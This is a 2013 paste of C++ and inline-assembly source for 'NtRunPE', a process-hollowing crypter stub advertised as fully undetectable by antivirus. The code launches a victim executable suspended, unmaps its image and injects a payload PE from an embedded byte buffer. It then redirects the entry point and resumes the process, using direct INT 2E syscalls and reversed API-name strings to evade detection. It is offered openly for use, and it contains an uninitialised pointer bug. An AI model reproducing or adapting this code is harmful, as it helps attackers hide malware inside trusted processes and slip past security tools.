Advertisement
unCoderSc

unCoder - NtRunPE | C++ | FUD

Mar 1st, 2013
763
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 6.11 KB | None | 0 0
  1. /*
  2.     =========================== unCoder NtRunPE =============================
  3.  
  4.                             Fully C0ded By : unCoder  
  5.                      unCoderSc@gmail.com | unk0@hotmail.com
  6.                                  skype : unk0:live
  7.  
  8.     [+] Coding Languages   : C++ , Assembly
  9.     [+] Gr3at'z Th4nks  t0 : NativeCall - Simon-Benyo - ColdZer0 - V4zer
  10.     [+] Great WebSites     : undocumented.ntinternals.net - hackhound.org - dev-point.com
  11.     # Scan Result :
  12.     https://www.metascan-online.com/en/scanresult/file/38c4abdd6e204eb48f9742875c39c7b1
  13.     http://vscan.novirusthanks.org/analysis/dc31c03fa7643bd31cf7a5e6c2de4a8e/bnRydW5wZS1leGU=/
  14.     http://chk4me.com/check/public/68C28g_17WebNKXQn6iAV9RuJ13IZU_D
  15.    
  16.     What's New ?
  17.         > working by native apis , With the last door in the usermode [ SYSENTER ( INT 2E ) ]
  18.         > so it's fud & fast & super RUNPE :P
  19.  
  20.     [-] first share , so errors may occur any errors you have fix it if you can or contact me .
  21.        
  22.     =========================== unCoder NtRunPE =============================
  23. */
  24.  
  25.  
  26. #include <Windows.h>
  27. #include <stdio.h>
  28. #include <iostream>
  29.  
  30. #include "bytes.h"
  31.  
  32.  
  33.  
  34.  
  35. ///// Apis [ ntdll ] /////    
  36. char* apis[] = {       
  37.                         "daerhTtxetnoCteGtN" /*NtGetContextThread  */,
  38.                         "noitceSfOweiVpamnUtN" /*NtUnmapViewOfSection  */,
  39.                         "yromeMlautriVetacollAtN" /*NtAllocateVirtualMemory  */,
  40.                         "yromeMlautriVetirWtN" /*NtWriteVirtualMemory  */,
  41.                         "daerhTtxetnoCteStN" /*NtSetContextThread  */,
  42.                         "daerhTemuseRtN" /*NtResumeThread  */};
  43.                              
  44. ////////////////
  45.  
  46.  
  47. int GetProcNtNumber(const char* proc)
  48. {
  49.     int number = NULL;
  50.     if(ReadProcessMemory(GetCurrentProcess(),(LPVOID)((DWORD)(GetProcAddress(LoadLibraryA("ntdll"),proc))+1),&number,1,NULL))
  51.         return number;
  52.  
  53.     return 0;
  54.  
  55.    
  56. }
  57.  
  58. std::string rev(std::string string)
  59. {
  60.     string = std::string(string.rbegin(),string.rend());
  61.  
  62.     return string;
  63. }
  64.  
  65.  
  66.  
  67.  
  68. void NtRunPE(LPBYTE buffer,LPCTSTR victimPath)
  69. {
  70.     int API_NUMBER = NULL;
  71.    
  72.    
  73.  
  74.     PIMAGE_DOS_HEADER PDH;
  75.     PIMAGE_NT_HEADERS PNH;
  76.     PIMAGE_SECTION_HEADER PSH;
  77.  
  78.     PDH = (PIMAGE_DOS_HEADER)&buffer[0];
  79.     PNH = (PIMAGE_NT_HEADERS)&buffer[PDH->e_lfanew];
  80.  
  81.     if(PDH->e_magic != IMAGE_DOS_SIGNATURE)
  82.         return;
  83.  
  84.     if(PNH->Signature != IMAGE_NT_SIGNATURE)
  85.         return;
  86.        
  87.    
  88.     PROCESS_INFORMATION PI;
  89.     STARTUPINFO SI;
  90.     ZeroMemory(&SI,sizeof(STARTUPINFO));
  91.     SI.cb = sizeof(STARTUPINFO);  
  92.  
  93.     if(!CreateProcessW(victimPath,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&SI,&PI))
  94.         return;
  95.    
  96.    
  97.    
  98.     // NtGetContextThread <>
  99.  
  100.     API_NUMBER = GetProcNtNumber("NtGetContextThread"); // It's detected if it's reverse encryption :\
  101.  
  102.     CONTEXT *context;
  103.     HANDLE hThread = PI.hThread;
  104.     context->ContextFlags = CONTEXT_FULL;
  105.    
  106.     __asm
  107.     {
  108.         PUSH context
  109.         PUSH hThread
  110.  
  111.         MOV EAX,API_NUMBER
  112.         MOV EDX,ESP
  113.         INT 0x2E
  114.     }
  115.  
  116.     if(context->Eax == NULL)
  117.         return;
  118.  
  119.     // NtGetContextThread <>
  120.    
  121.    
  122.  
  123.     // NtUnmapViewOfSection <>
  124.  
  125.     API_NUMBER = GetProcNtNumber(rev(apis[1]).c_str());
  126.  
  127.     HANDLE hProcess = PI.hProcess;
  128.     DWORD imageBase = PNH->OptionalHeader.ImageBase;
  129.  
  130.     __asm
  131.     {
  132.         PUSH imageBase
  133.         PUSH hProcess
  134.  
  135.         MOV EAX,API_NUMBER
  136.         MOV EDX,ESP
  137.         INT 0x2E
  138.     }
  139.  
  140.     // NtUnmapViewOfSection <>
  141.  
  142.    
  143.  
  144.     // NtAllocateVirtualMemory <>
  145.  
  146.     API_NUMBER = GetProcNtNumber(rev(apis[2]).c_str());
  147.  
  148.     DWORD SizeOfImage = PNH->OptionalHeader.SizeOfImage;
  149.     __asm
  150.     {
  151.         PUSH PAGE_EXECUTE_READWRITE
  152.         PUSH MEM_COMMIT | MEM_RESERVE
  153.         PUSH SizeOfImage
  154.         PUSH NULL
  155.         PUSH imageBase
  156.         PUSH hProcess
  157.  
  158.         MOV EAX,API_NUMBER
  159.         MOV EDX,ESP
  160.         INT 0x2E
  161.     }
  162.  
  163.     // NtAllocateVirtualMemory <>
  164.  
  165.    
  166.    
  167.     // NtWriteVirtualMemory <>
  168.  
  169.     API_NUMBER = GetProcNtNumber(rev(apis[3]).c_str());
  170.  
  171.     // 1 - Writing Headers
  172.  
  173.     DWORD HeadersSize = PNH->OptionalHeader.SizeOfHeaders;
  174.  
  175.     __asm
  176.     {
  177.         PUSH NULL
  178.         PUSH HeadersSize
  179.         PUSH buffer[0]
  180.         PUSH imageBase
  181.         PUSH hProcess
  182.  
  183.         MOV EAX,API_NUMBER
  184.         MOV EDX,ESP
  185.         INT 0x2E
  186.  
  187.     }
  188.  
  189.     // 2- Writing Sections
  190.  
  191.             DWORD PointerToRawData ;
  192.             DWORD SizeOfRawData;
  193.             LPVOID nextsection_adrr;
  194.  
  195.              for (int i = 0 ; i < PNH->FileHeader.NumberOfSections ; i++)
  196.             {
  197.                
  198.               PSH = (PIMAGE_SECTION_HEADER)&buffer[PDH->e_lfanew + sizeof(PIMAGE_NT_HEADERS) + sizeof(PIMAGE_SECTION_HEADER) * i];
  199.               PointerToRawData = PSH->PointerToRawData;
  200.               SizeOfRawData = PSH->SizeOfRawData;
  201.               nextsection_adrr = (LPVOID)(PNH->OptionalHeader.ImageBase + PSH->VirtualAddress);
  202.  
  203.               __asm
  204.               {
  205.                   PUSH NULL
  206.                   PUSH SizeOfRawData
  207.                   PUSH buffer[PointerToRawData]
  208.                   PUSH nextsection_adrr
  209.                   PUSH hProcess
  210.                  
  211.                   MOV EAX,API_NUMBER
  212.                   MOV EDX,ESP
  213.                   INT 0x2E
  214.  
  215.  
  216.               }
  217.  
  218.             }
  219.  
  220.     // NtWriteVirtualMemory <>
  221.  
  222.              
  223.     // NtSetContextThread <>
  224.  
  225.     API_NUMBER = GetProcNtNumber(rev(apis[4]).c_str());
  226.  
  227.     // calc the new entry [ imagebase + entrypoint address ]
  228.     DWORD NewEax = PNH->OptionalHeader.ImageBase + PNH->OptionalHeader.AddressOfEntryPoint;
  229.     context->Eax = NewEax;
  230.  
  231.     __asm
  232.     {
  233.         PUSH context
  234.         PUSH hThread
  235.  
  236.         MOV EAX,API_NUMBER
  237.         MOV EDX,ESP
  238.         INT 0x2E
  239.     }
  240.  
  241.  
  242.     // NtSetContextThread <>
  243.  
  244.  
  245.     // NtResumeThread <>
  246.  
  247.     API_NUMBER = GetProcNtNumber(rev(apis[5]).c_str());
  248.  
  249.     __asm
  250.     {
  251.         PUSH NULL
  252.         PUSH hThread
  253.  
  254.         MOV EAX,API_NUMBER
  255.         MOV EDX,ESP
  256.         INT 0x2E
  257.     }
  258.  
  259.     // NtResumeThread <>
  260.  
  261.    
  262.    
  263.    
  264. }
  265.  
  266. int main()
  267. {
  268.     NtRunPE(buffer,L"C:\\Test.exe");
  269.  
  270.     return 0;
  271. }
  272.  
  273.  
  274.  
  275.  
  276. //bytes.h
  277.  
  278. // Your File bytes
  279. BYTE buffer[] = { 0x00,0x00,0x00,0x00,0x00,0x00,
  280.                   0x00,0x00,0x00,0x00,0x00,0x00,
  281.                   0x00,0x00,0x00,0x00,0x00,0x00,
  282.                   0x00,0x00,0x00,0x00,0x00,0x00,
  283.                   0x00,0x00,0x00,0x00,0x00,0x00,
  284.                   0x00,0x00,0x00,0x00,0x00,0x00,
  285.                   0x00,0x00,0x00,0x00,0x00,0x00,
  286.                   0x00,0x00,0x00,0x00,0x00,0x00,
  287.                   0x00,0x00,0x00,0x00,0x00,0x00,
  288.                   0x00,0x00,0x00,0x00,0x00,0x00,
  289.                   0x00,0x00,0x00,0x00,0x00,0x00,
  290.                   0x00,0x00,0x00,0x00,0x00,0x00,
  291.                   0x00,0x00,0x00,0x00,0x00,0x00,
  292.                   0x00,0x00,0x00,0x00,0x00,0x00,
  293.                   0x00,0x00,0x00,0x00,0x00,0x00,
  294.                   0x00,0x00,0x00,0x00,0x00,0x00,
  295.                   0x00,0x00,0x00,0x00,0x00,0x00,
  296.                   0x00,0x00,0x00,0x00,0x00,0x00,
  297.                   0x00,0x00,0x00,0x00,0x00,0x00,
  298.                   0x00,0x00,0x00,0x00,0x00,0x00
  299. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement